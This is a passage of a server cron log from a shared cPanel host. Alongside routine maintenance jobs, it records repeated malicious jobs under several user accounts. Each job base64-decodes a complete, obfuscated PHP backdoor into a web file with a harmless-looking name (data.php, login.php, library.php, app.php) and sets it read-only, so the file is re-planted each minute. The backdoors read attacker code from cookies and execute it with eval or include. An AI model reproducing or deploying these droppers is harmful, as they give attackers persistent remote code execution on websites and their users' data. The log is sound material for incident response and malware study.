ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:25:02 medusa CROND[30674]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:25:02 medusa CROND[30662]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:25:02 medusa CROND[30671]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:25:02 medusa CROND[30681]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:25:02 medusa CROND[30665]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:25:02 medusa CROND[30679]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:26:02 medusa CROND[20089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:26:02 medusa CROND[20130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:26:02 medusa CROND[20132]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:26:02 medusa CROND[20133]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:26:02 medusa CROND[20134]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:26:02 medusa CROND[20136]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:26:02 medusa CROND[20137]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:26:02 medusa CROND[20138]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:26:02 medusa CROND[20139]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:26:02 medusa CROND[20141]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:26:02 medusa CROND[20142]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:26:02 medusa CROND[20140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:26:02 medusa CROND[20149]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:26:02 medusa CROND[20152]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:27:01 medusa CROND[9268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:27:01 medusa CROND[9353]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:27:01 medusa CROND[9354]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:27:01 medusa CROND[9357]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:27:01 medusa CROND[9358]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:27:01 medusa CROND[9356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:27:01 medusa CROND[9359]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:27:01 medusa CROND[9360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:27:01 medusa CROND[9361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:27:01 medusa CROND[9362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:27:01 medusa CROND[9363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:27:01 medusa CROND[9364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:28:01 medusa CROND[31584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
